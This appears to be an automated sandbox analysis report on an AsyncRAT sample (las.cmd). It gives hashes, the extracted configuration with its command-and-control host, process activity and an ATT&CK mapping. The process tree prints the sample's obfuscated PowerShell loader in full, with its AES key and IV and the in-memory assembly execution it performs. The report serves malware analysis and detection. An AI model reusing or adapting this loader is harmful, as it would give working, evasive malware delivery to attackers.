asyncrat | 3e0590e42affae14f003fe2686abb8bd9be6e2fb48f7160779d0dc0c03cdfeee

General

Target

las.cmd
Size

72KB
MD5

4bfe57ca78dd1ac468e92a2307783552
SHA1

73966e6a19ba6f1ea47002ddcbc42d5ac6434b22
SHA256

3e0590e42affae14f003fe2686abb8bd9be6e2fb48f7160779d0dc0c03cdfeee
SHA512

21a0071708eaeead1ebf0cb96ab39955b6ced797c0b9e25005c5c8ae4659f2ef842de42572f15fa02eb91df82eb5ba82b1b0d06d09d908d835f039f23fca4572
SSDEEP

1536:W4s6PYSYp0q0tIlQ2baGAIbsIpcEj/Bi81w2yfmfV2fymv:46PHY2glQ2nAIQUcY91Fj2fyi

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

C2

hjdsasync.duckdns.org:8797

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/4800-41-0x00000000074C0000-0x00000000074D2000-memory.dmp	family_asyncrat

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

29 4800 powershell.exe
31 4800 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

1936 powershell.exe
4800 powershell.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

4800 powershell.exe
4800 powershell.exe
1936 powershell.exe
1936 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4800 powershell.exe
Token: SeDebugPrivilege 1936 powershell.exe

flow	pid	process
29	4800	powershell.exe
31	4800	powershell.exe

pid	process
1936	powershell.exe
4800	powershell.exe

pid	process
4800	powershell.exe
4800	powershell.exe
1936	powershell.exe
1936	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4800	powershell.exe
Token: SeDebugPrivilege	1936	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

cmd.execmd.exepowershell.exe

description	pid	process	target process
PID 3168 wrote to memory of 1804	3168	cmd.exe	cmd.exe
PID 3168 wrote to memory of 1804	3168	cmd.exe	cmd.exe
PID 3168 wrote to memory of 2424	3168	cmd.exe	cmd.exe
PID 3168 wrote to memory of 2424	3168	cmd.exe	cmd.exe
PID 2424 wrote to memory of 2648	2424	cmd.exe	cmd.exe
PID 2424 wrote to memory of 2648	2424	cmd.exe	cmd.exe
PID 2424 wrote to memory of 4204	2424	cmd.exe	cmd.exe
PID 2424 wrote to memory of 4204	2424	cmd.exe	cmd.exe
PID 2424 wrote to memory of 4800	2424	cmd.exe	powershell.exe
PID 2424 wrote to memory of 4800	2424	cmd.exe	powershell.exe
PID 2424 wrote to memory of 4800	2424	cmd.exe	powershell.exe
PID 4800 wrote to memory of 1936	4800	powershell.exe	powershell.exe
PID 4800 wrote to memory of 1936	4800	powershell.exe	powershell.exe
PID 4800 wrote to memory of 1936	4800	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\las.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:3168

C:\Windows\system32\cmd.exe
cmd /c \"set __=^&rem\
2⤵
PID:1804

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\las.cmd
2⤵
- Suspicious use of WriteProcessMemory
PID:2424

C:\Windows\system32\cmd.exe
cmd /c \"set __=^&rem\
3⤵
PID:2648

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\las.cmd';$jnWG='CopWZSmyTWZSmoWZSm'.Replace('WZSm', ''),'InlhpUvolhpUklhpUelhpU'.Replace('lhpU', ''),'CZIKWreaZIKWtZIKWeDeZIKWcZIKWryZIKWptoZIKWrZIKW'.Replace('ZIKW', ''),'ElzVbdemzVbdenzVbdtAzVbdtzVbd'.Replace('zVbd', ''),'ChayteonyteogeyteoEyteoxtyteoenyteosyteoionyteo'.Replace('yteo', ''),'ReplQraplQrdplQrLinplQresplQr'.Replace('plQr', ''),'EnRototRotorRotoyPRotooRotointRoto'.Replace('Roto', ''),'DecjqJxomjqJxpjqJxrjqJxesjqJxsjqJx'.Replace('jqJx', ''),'GeIEVqtCuIEVqrIEVqreIEVqntIEVqPrIEVqoIEVqcIEVqesIEVqsIEVq'.Replace('IEVq', ''),'FroWBktmBWBktasWBkte6WBkt4StWBktrWBktiWBktngWBkt'.Replace('WBkt', ''),'SpFryoliFryotFryo'.Replace('Fryo', ''),'MaoNWYinMoNWYodoNWYuoNWYloNWYeoNWY'.Replace('oNWY', ''),'LoZooQaZooQdZooQ'.Replace('ZooQ', ''),'TkUiTrankUiTsfokUiTrmkUiTFinkUiTalkUiTBkUiTlkUiTockkUiT'.Replace('kUiT', '');powershell -w hidden;function YsezZ($hYPZV){$VWSjA=[System.Security.Cryptography.Aes]::Create();$VWSjA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$VWSjA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$VWSjA.Key=[System.Convert]::($jnWG[9])('dIVP+hM/q3VrHeJIleztLe7YnRJfIUHX64EccbDbOY4=');$VWSjA.IV=[System.Convert]::($jnWG[9])('6IPeN2NKRdqw088nkuVbTg==');$BvjHr=$VWSjA.($jnWG[2])();$qFsMh=$BvjHr.($jnWG[13])($hYPZV,0,$hYPZV.Length);$BvjHr.Dispose();$VWSjA.Dispose();$qFsMh;}function ggFnh($hYPZV){$nRoYI=New-Object System.IO.MemoryStream(,$hYPZV);$BNSgW=New-Object System.IO.MemoryStream;$XVXGN=New-Object System.IO.Compression.GZipStream($nRoYI,[IO.Compression.CompressionMode]::($jnWG[7]));$XVXGN.($jnWG[0])($BNSgW);$XVXGN.Dispose();$nRoYI.Dispose();$BNSgW.Dispose();$BNSgW.ToArray();}$ldHdk=[System.IO.File]::($jnWG[5])([Console]::Title);$AAEWQ=ggFnh (YsezZ ([Convert]::($jnWG[9])([System.Linq.Enumerable]::($jnWG[3])($ldHdk, 5).Substring(2))));$xuGEv=ggFnh (YsezZ ([Convert]::($jnWG[9])([System.Linq.Enumerable]::($jnWG[3])($ldHdk, 6).Substring(2))));[System.Reflection.Assembly]::($jnWG[12])([byte[]]$xuGEv).($jnWG[6]).($jnWG[1])($null,$null);[System.Reflection.Assembly]::($jnWG[12])([byte[]]$AAEWQ).($jnWG[6]).($jnWG[1])($null,$null); "
3⤵
PID:4204

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -ep bypass
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4800

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hlezgtyi.0qx.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1936-38-0x00000000748E0000-0x0000000075090000-memory.dmp

Filesize
7.7MB

Download
memory/1936-26-0x00000000748E0000-0x0000000075090000-memory.dmp

Filesize
7.7MB

Download
memory/1936-25-0x00000000748E0000-0x0000000075090000-memory.dmp

Filesize
7.7MB

Download
memory/1936-24-0x00000000748E0000-0x0000000075090000-memory.dmp

Filesize
7.7MB

Download
memory/4800-22-0x0000000007A50000-0x00000000080CA000-memory.dmp

Filesize
6.5MB

Download
memory/4800-4-0x0000000005170000-0x0000000005192000-memory.dmp

Filesize
136KB

Download
memory/4800-6-0x0000000005A50000-0x0000000005AB6000-memory.dmp

Filesize
408KB

Download
memory/4800-8-0x0000000005B30000-0x0000000005E84000-memory.dmp

Filesize
3.3MB

Download
memory/4800-5-0x00000000748E0000-0x0000000075090000-memory.dmp

Filesize
7.7MB

Download
memory/4800-18-0x0000000006040000-0x000000000605E000-memory.dmp

Filesize
120KB

Download
memory/4800-19-0x0000000006090000-0x00000000060DC000-memory.dmp

Filesize
304KB

Download
memory/4800-20-0x00000000065C0000-0x0000000006604000-memory.dmp

Filesize
272KB

Download
memory/4800-21-0x0000000007150000-0x00000000071C6000-memory.dmp

Filesize
472KB

Download
memory/4800-0-0x00000000748EE000-0x00000000748EF000-memory.dmp

Filesize
4KB

Download
memory/4800-23-0x00000000073F0000-0x000000000740A000-memory.dmp

Filesize
104KB

Download
memory/4800-7-0x0000000005AC0000-0x0000000005B26000-memory.dmp

Filesize
408KB

Download
memory/4800-3-0x00000000748E0000-0x0000000075090000-memory.dmp

Filesize
7.7MB

Download
memory/4800-2-0x0000000005230000-0x0000000005858000-memory.dmp

Filesize
6.2MB

Download
memory/4800-1-0x0000000002B90000-0x0000000002BC6000-memory.dmp

Filesize
216KB

Download
memory/4800-39-0x0000000004EC0000-0x0000000004ED2000-memory.dmp

Filesize
72KB

Download
memory/4800-40-0x0000000004ED0000-0x0000000004EDE000-memory.dmp

Filesize
56KB

Download
memory/4800-41-0x00000000074C0000-0x00000000074D2000-memory.dmp

Filesize
72KB

Download
memory/4800-44-0x0000000007990000-0x0000000007A2C000-memory.dmp

Filesize
624KB

Download
memory/4800-45-0x000000000A680000-0x000000000AC24000-memory.dmp

Filesize
5.6MB

Download
memory/4800-47-0x00000000748EE000-0x00000000748EF000-memory.dmp

Filesize
4KB

Download
memory/4800-48-0x00000000748E0000-0x0000000075090000-memory.dmp

Filesize
7.7MB

Download
memory/4800-49-0x00000000748E0000-0x0000000075090000-memory.dmp

Filesize
7.7MB

Download

Analysis

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